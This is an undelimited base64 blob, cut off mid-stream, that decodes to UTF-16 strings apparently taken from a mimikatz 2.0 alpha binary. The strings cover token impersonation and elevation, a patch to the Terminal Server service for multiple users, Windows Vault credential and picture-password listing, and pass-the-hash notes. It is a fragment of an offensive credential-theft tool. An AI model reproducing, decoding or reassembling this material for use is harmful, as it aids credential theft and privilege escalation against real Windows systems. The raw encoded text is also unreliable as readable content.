JACAAAAAAAAkAJQBwAAAACQAlAFMAAAAJAC0APgAgACUAUwAAAAAACgAJACUAcAAgAC0APgAgACUAcAAJACUAUwAgACEAIAAAAAAAJQBTAAAAAAAjACUAdQAAAEwAaQBzAHQAIABzAGUAcgB2AGkAYwBlAHMAAABTAGgAdQB0AGQAbwB3AG4AIABzAGUAcgB2AGkAYwBlAAAAAABzAGgAdQB0AGQAbwB3AG4AAAAAAFAAcgBlAHMAaAB1AHQAZABvAHcAbgAgAHMAZQByAHYAaQBjAGUAAABwAHIAZQBzAGgAdQB0AGQAbwB3AG4AAABSAGUAcwB1AG0AZQAgAHMAZQByAHYAaQBjAGUAAAAAAFMAdQBzAHAAZQBuAGQAIABzAGUAcgB2AGkAYwBlAAAAUwB0AG8AcAAgAHMAZQByAHYAaQBjAGUAAAAAAFIAZQBtAG8AdgBlACAAcwBlAHIAdgBpAGMAZQAAAAAAUwB0AGEAcgB0ACAAcwBlAHIAdgBpAGMAZQAAAFMAZQByAHYAaQBjAGUAIABtAG8AZAB1AGwAZQAAAAAAJQBzACAAJwAlAHMAJwAgAHMAZQByAHYAaQBjAGUAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABTAGUAcgB2AGkAYwBlACAAbwBwAGUAcgBhAHQAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBpAGMARgB1AG4AYwB0AGkAbwBuACAAOwAgAEkAbgBqAGUAYwB0ACAAbgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAKAAAAAAAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBpAGMARgB1AG4AYwB0AGkAbwBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABzAGUAcgB2AGkAYwBlACAAbgBhAG0AZQAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAAABTAHQAYQByAHQAaQBuAGcAAAAAAFIAZQBtAG8AdgBpAG4AZwAAAAAAUwB0AG8AcABwAGkAbgBnAAAAAABTAHUAcwBwAGUAbgBkAGkAbgBnAAAAAABSAGUAcwB1AG0AaQBuAGcAAAAAAFAAcgBlAHMAaAB1AHQAZABvAHcAbgAAAFMAaAB1AHQAZABvAHcAbgAAAAAAcwBlAHIAdgBpAGMAZQBzAC4AZQB4AGUAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAHMAZQBhAHIAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAABlAHIAcgBvAHIAIAAlAHUACgAAAE8ASwAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAE4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAIAB3AGkAdABoAG8AdQB0ACAAUwBjAFMAZQBuAGQAQwBvAG4AdAByAG8AbAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAATQBhAHIAawAgAGEAYgBvAHUAdAAgAFAAdABIAAAAAABtAGEAcgBrAHIAdQBzAHMAAAAAAEMAaABhAG4AZwBlACAAbwByACAAZABpAHMAcABsAGEAeQAgAGMAdQByAHIAZQBuAHQAIABkAGkAcgBlAGMAdABvAHIAeQAAAGMAZAAAAAAARABpAHMAcABsAGEAeQAgAHMAbwBtAGUAIAB2AGUAcgBzAGkAbwBuACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAAAB2AGUAcgBzAGkAbwBuAAAAAAAAAFMAdwBpAHQAYwBoACAAZgBpAGwAZQAgAG8AdQB0AHAAdQB0AC8AYgBhAHMAZQA2ADQAIABvAHUAdABwAHUAdAAAAAAAYgBhAHMAZQA2ADQAAAAAAAAAAABMAG8AZwAgAG0AaQBtAGkAawBhAHQAegAgAGkAbgBwAHUAdAAvAG8AdQB0AHAAdQB0ACAAdABvACAAZgBpAGwAZQAAAAAAAABTAGwAZQBlAHAAIABhAG4AIABhAG0AbwB1AG4AdAAgAG8AZgAgAG0AaQBsAGwAaQBzAGUAYwBvAG4AZABzAAAAcwBsAGUAZQBwAAAAUABsAGUAYQBzAGUALAAgAG0AYQBrAGUAIABtAGUAIABhACAAYwBvAGYAZgBlAGUAIQAAAGMAbwBmAGYAZQBlAAAAAABBAG4AcwB3AGUAcgAgAHQAbwAgAHQAaABlACAAVQBsAHQAaQBtAGEAdABlACAAUQB1AGUAcwB0AGkAbwBuACAAbwBmACAATABpAGYAZQAsACAAdABoAGUAIABVAG4AaQB2AGUAcgBzAGUALAAgAGEAbgBkACAARQB2AGUAcgB5AHQAaABpAG4AZwAAAGEAbgBzAHcAZQByAAAAAAAAAAAAQwBsAGUAYQByACAAcwBjAHIAZQBlAG4AIAAoAGQAbwBlAHMAbgAnAHQAIAB3AG8AcgBrACAAdwBpAHQAaAAgAHIAZQBkAGkAcgBlAGMAdABpAG8AbgBzACwAIABsAGkAawBlACAAUABzAEUAeABlAGMAKQAAAAAAYwBsAHMAAABRAHUAaQB0ACAAbQBpAG0AaQBrAGEAdAB6AAAAZQB4AGkAdAAAAAAAQgBhAHMAaQBjACAAYwBvAG0AbQBhAG4AZABzACAAKABkAG8AZQBzACAAbgBvAHQAIAByAGUAcQB1AGkAcgBlACAAbQBvAGQAdQBsAGUAIABuAGEAbQBlACkAAABTAHQAYQBuAGQAYQByAGQAIABtAG8AZAB1AGwAZQAAAHMAdABhAG4AZABhAHIAZAAAAAAAQgB5AGUAIQAKAAAANAAyAC4ACgAAAAAACgAgACAAIAAgACgAIAAoAAoAIAAgACAAIAAgACkAIAApAAoAIAAgAC4AXwBfAF8AXwBfAF8ALgAKACAAIAB8ACAAIAAgACAAIAAgAHwAXQAKACAAIABcACAAIAAgACAAIAAgAC8ACgAgACAAIABgAC0ALQAtAC0AJwAKAAAAAABTAGwAZQBlAHAAIAA6ACAAJQB1ACAAbQBzAC4ALgAuACAAAABFAG4AZAAgACEACgAAAAAAbQBpAG0AaQBrAGEAdAB6AC4AbABvAGcAAAAAAFUAcwBpAG4AZwAgACcAJQBzACcAIABmAG8AcgAgAGwAbwBnAGYAaQBsAGUAIAA6ACAAJQBzAAoAAAAAAHQAcgB1AGUAAAAAAGYAYQBsAHMAZQAAAGkAcwBCAGEAcwBlADYANABJAG4AdABlAHIAYwBlAHAAdAAgAHcAYQBzACAAIAAgACAAOgAgACUAcwAKAAAAAABpAHMAQgBhAHMAZQA2ADQASQBuAHQAZQByAGMAZQBwAHQAIABpAHMAIABuAG8AdwAgADoAIAAlAHMACgAAAAAANgA0AAAAAAA4ADYAAAAAAAAAAAAKAG0AaQBtAGkAawBhAHQAegAgADIALgAwACAAYQBsAHAAaABhACAAKABhAHIAYwBoACAAeAA4ADYAKQAKAE4AVAAgACAAIAAgACAALQAgACAAVwBpAG4AZABvAHcAcwAgAE4AVAAgACUAdQAuACUAdQAgAGIAdQBpAGwAZAAgACUAdQAgACgAYQByAGMAaAAgAHgAJQBzACkACgAAAAAAQwB1AHIAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB0AGEAbgBkAGEAcgBkAF8AYwBkACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGcAZQB0AEMAdQByAHIAZQBuAHQARABpAHIAZQBjAHQAbwByAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAATgBlAHcAOgAgACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAdABhAG4AZABhAHIAZABfAGMAZAAgADsAIABTAGUAdABDAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFMAbwByAHIAeQAgAHkAbwB1ACAAZwB1AHkAcwAgAGQAbwBuACcAdAAgAGcAZQB0ACAAaQB0AC4ACgAAAFUAbgBrAG4AbwB3AG4AAABEAGUAbABlAGcAYQB0AGkAbwBuAAAAAABJAG0AcABlAHIAcwBvAG4AYQB0AGkAbwBuAAAASQBkAGUAbgB0AGkAZgBpAGMAYQB0AGkAbwBuAAAAAABBAG4AbwBuAHkAbQBvAHUAcwAAAFIAZQB2AGUAcgB0ACAAdABvACAAcAByAG8AYwBlAHMAIAB0AG8AawBlAG4AAAAAAHIAZQB2AGUAcgB0AAAAAABJAG0AcABlAHIAcwBvAG4AYQB0AGUAIABhACAAdABvAGsAZQBuAAAAZQBsAGUAdgBhAHQAZQAAAEwAaQBzAHQAIABhAGwAbAAgAHQAbwBrAGUAbgBzACAAbwBmACAAdABoAGUAIABzAHkAcwB0AGUAbQAAAEQAaQBzAHAAbABhAHkAIABjAHUAcgByAGUAbgB0ACAAaQBkAGUAbgB0AGkAdAB5AAAAAAB3AGgAbwBhAG0AaQAAAAAAVABvAGsAZQBuACAAbQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABtAG8AZAB1AGwAZQAAAHQAbwBrAGUAbgAAACAAKgAgAFAAcgBvAGMAZQBzAHMAIABUAG8AawBlAG4AIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHcAaABvAGEAbQBpACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwBUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAIAAqACAAVABoAHIAZQBhAGQAIABUAG8AawBlAG4AIAAgADoAIAAAAG4AbwAgAHQAbwBrAGUAbgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AdwBoAG8AYQBtAGkAIAA7ACAATwBwAGUAbgBUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAGQAbwBtAGEAaQBuAGEAZABtAGkAbgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AbABvAGMAYQBsAF8AZABvAG0AYQBpAG4AXwB1AHMAZQByAF8AZwBlAHQAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcwB5AHMAdABlAG0AAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAATgBvACAAdQBzAGUAcgBuAGEAbQBlACAAYQB2AGEAaQBsAGEAYgBsAGUAIAB3AGgAZQBuACAAUwBZAFMAVABFAE0ACgAAAFQAbwBrAGUAbgAgAEkAZAAgACAAOgAgACUAdQAKAFUAcwBlAHIAIABuAGEAbQBlACAAOgAgACUAcwAKAFMASQBEACAAbgBhAG0AZQAgACAAOgAgAAAAAAAlAHMAXAAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGcAZQB0AE4AYQBtAGUARABvAG0AYQBpAG4ARgByAG8AbQBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGwAbwBjAGEAbABfAGQAbwBtAGEAaQBuAF8AdQBzAGUAcgBfAEMAcgBlAGEAdABlAFcAZQBsAGwASwBuAG8AdwBuAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AcgBlAHYAZQByAHQAIAA7ACAAUwBlAHQAVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACUALQAxADAAdQAJAAAAAAAlAHMAXAAlAHMACQAlAHMAAAAAAAkAKAAlADAAMgB1AGcALAAlADAAMgB1AHAAKQAJACUAcwAAACAAKAAlAHMAKQAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAXwBjAGEAbABsAGIAYQBjAGsAIAA7ACAAQwBoAGUAYwBrAFQAbwBrAGUAbgBNAGUAbQBiAGUAcgBzAGgAaQBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACUAdQAJAAAAIAAtAD4AIABJAG0AcABlAHIAcwBvAG4AYQB0AGUAZAAgACEACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlAF8AYwBhAGwAbABiAGEAYwBrACAAOwAgAFMAZQB0AFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAGwAbABvAHcAIABtAHUAbAB0AGkAcABsAGUAcwAgAHUAcwBlAHIAcwAAAG0AdQBsAHQAaQByAGQAcAAAAAAAVABlAHIAbQBpAG4AYQBsACAAUwBlAHIAdgBlAHIAIABtAG8AZAB1AGwAZQAAAAAAdABzAAAAAAB0AGUAcgBtAHMAcgB2AC4AZABsAGwAAABUAGUAcgBtAFMAZQByAHYAaQBjAGUAAABkAG8AbQBhAGkAbgBfAGUAeAB0AGUAbgBkAGUAZAAAAGcAZQBuAGUAcgBpAGMAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAAABkAG8AbQBhAGkAbgBfAHYAaQBzAGkAYgBsAGUAXwBwAGEAcwBzAHcAbwByAGQAAABkAG8AbQBhAGkAbgBfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQAAAAAAZABvAG0AYQBpAG4AXwBwAGEAcwBzAHcAbwByAGQAAABnAGUAbgBlAHIAaQBjAAAAQgBpAG8AbQBlAHQAcgBpAGMAAABQAGkAYwB0AHUAcgBlACAAUABhAHMAcwB3AG8AcgBkAAAAAABQAGkAbgAgAEwAbwBnAG8AbgAAAEQAbwBtAGEAaQBuACAARQB4AHQAZQBuAGQAZQBkAAAARABvAG0AYQBpAG4AIABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAAAAAAEQAbwBtAGEAaQBuACAAUABhAHMAcwB3AG8AcgBkAAAAYwByAGUAZAAAAAAAVwBpAG4AZABvAHcAcwAgAFYAYQB1AGwAdAAvAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABtAG8AZAB1AGwAZQAAAHYAYQB1AGwAdAAAAHYAYQB1AGwAdABjAGwAaQAAAAAAVmF1bHRFbnVtZXJhdGVJdGVtVHlwZXMAVmF1bHRFbnVtZXJhdGVWYXVsdHMAAAAAVmF1bHRPcGVuVmF1bHQAAFZhdWx0R2V0SW5mb3JtYXRpb24AVmF1bHRFbnVtZXJhdGVJdGVtcwBWYXVsdENsb3NlVmF1bHQAVmF1bHRGcmVlAAAAVmF1bHRHZXRJdGVtAAAAAAoAVgBhAHUAbAB0ACAAOgAgAAAACQBJAHQAZQBtAHMAIAAoACUAdQApAAoAAAAAAAkAIAAlADIAdQAuAAkAJQBzAAoAAAAAAAkACQBUAHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAACQAJAEwAYQBzAHQAVwByAGkAdAB0AGUAbgAgACAAIAAgACAAOgAgAAAAAAAJAAkARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAKAAAACQAJAFIAZQBzAHMAbwB1AHIAYwBlACAAIAAgACAAIAAgACAAOgAgAAAAAAAJAAkASQBkAGUAbgB0AGkAdAB5ACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAkACQBBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACAAIAAgADoAIAAAAAAACQAJAFAAcgBvAHAAZQByAHQAeQAgACUAMgB1ACAAIAAgACAAIAA6ACAAAAAJAAkAKgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACoAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAIAA7ACAAVgBhAHUAbAB0AEcAZQB0AEkAdABlAG0ANwAgADoAIAAlADAAOAB4AAAAAAAJAAkAUABhAGMAawBhAGcAZQBTAGkAZAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAIAA7ACAAVgBhAHUAbAB0AEcAZQB0AEkAdABlAG0AOAAgADoAIAAlADAAOAB4AAAAAAAKAAkACQAqACoAKgAgACUAcwAgACoAKgAqAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARQBuAHUAbQBlAHIAYQB0AGUAVgBhAHUAbAB0AHMAIAA6ACAAMAB4ACUAMAA4AHgACgAAAAAACQAJAFUAcwBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlAHMAXAAlAHMAAAAAAAAAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFwATABvAGcAbwBuAFUASQBcAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAAAAAABiAGcAUABhAHQAaAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAMgAgADoAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIAAxACAAOgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFMASQBEACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByAGkAbgBnAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkACAAOgAgACUAMAA4AHgACgAAAAAACQAJAFAAYQBzAHMAdwBvAHIAZAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAJAAkAUABJAE4AIABDAG8AZABlACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADQAaAB1AAoAAAAAAAkACQBCAGEAYwBrAGcAcgBvAHUAbgBkACAAcABhAHQAaAAgADoAIAAlAHMACgAAAAkACQBQAGkAYwB0AHUAcgBlACAAcABhAHMAcwB3AG8AcgBkACAAKABnAHIAaQBkACAAaQBzACAAMQA1ADAAKgAxADAAMAApAAoAAAAJAAkAIABbACUAdQBdACAAAAAAAHAAbwBpAG4AdAAgACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAAAAAAYwBsAG8AYwBrAHcAaQBzAGUAAABhAG4AdABpAGMAbABvAGMAawB3AGkAcwBlAAAAYwBpAHIAYwBsAGUAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQAgADsAIAByACAAPQAgACUAMwB1ACkAIAAtACAAJQBzAAAAAAAAAGwAaQBuAGUAIAAgACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAgAC0APgAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACkAAAAlAHUACgAAAAkACQBQAHIAbwBwAGUAcgB0AHkAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAuACoAcwBcAAAAJQAuACoAcwAAAAAAdABvAGQAbwAgAD8ACgAAAAkATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAHQAZQBtAHAAIAB2AGEAdQBsAHQAAAAAAAkAUABhAHQAaAAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAACUAaAB1AAAAJQB1AAAAAABbAFQAeQBwAGUAIAAlAHUAXQAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AYwByAGUAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAPwAgACgAdAB5AHAAZQAgAD4AIABDAFIARQBEAF8AVABZAFAARQBfAE0AQQBYAEkATQBVAE0AKQAAAAAAPABOAFUATABMAD4AAAAAAAAAAABUAGEAcgBnAGUAdABOAGEAbQBlACAAOgAgACUAcwAgAC8AIAAlAHMACgBVAHMAZQByAE4AYQBtAGUAIAAgACAAOgAgACUAcwAKAEMAbwBtAG0AZQBuAHQAIAAgACAAIAA6ACAAJQBzAAoAVAB5AHAAZQAgACAAIAAgACAAIAAgADoAIAAlAHUAIAAtACAAJQBzAAoAQwByAGUAZABlAG4AdABpAGEAbAAgADoAIAAAAAoACgAAAAAAaQBuAGYAbwBzAAAATQBpAG4AZQBTAHcAZQBlAHAAZQByACAAbQBvAGQAdQBsAGUAAAAAAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgAAAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgAuAGUAeABlAAAAAAAAAEYAaQBlAGwAZAAgADoAIAAlAHUAIAByACAAeAAgACUAdQAgAGMACgBNAGkAbgBlAHMAIAA6ACAAJQB1AAoACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AZQBtAG8AcgB5ACAAQwAgACgAUgAgAD0AIAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBlAG0AbwByAHkAIABSAAoAAAAAAAkAAAAlAEMAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABCAG8AYQByAGQAIABjAG8AcAB5AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABHAGEAbQBlACAAYwBvAHAAeQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwAgAGMAbwBwAHkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEcAbABvAGIAYQBsACAAYwBvAHAAeQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAFMAZQBhAHIAYwBoACAAaQBzACAASwBPAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AaQBuAGUAcwB3AGUAZQBwAGUAcgAgAE4AVAAgAEgAZQBhAGQAZQByAHMACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AaQBuAGUAcwB3AGUAZQBwAGUAcgAgAFAARQBCAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE4AbwAgAE0AaQBuAGUAUwB3AGUAZQBwAGUAcgAgAGkAbgAgAG0AZQBtAG8AcgB5ACEACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIA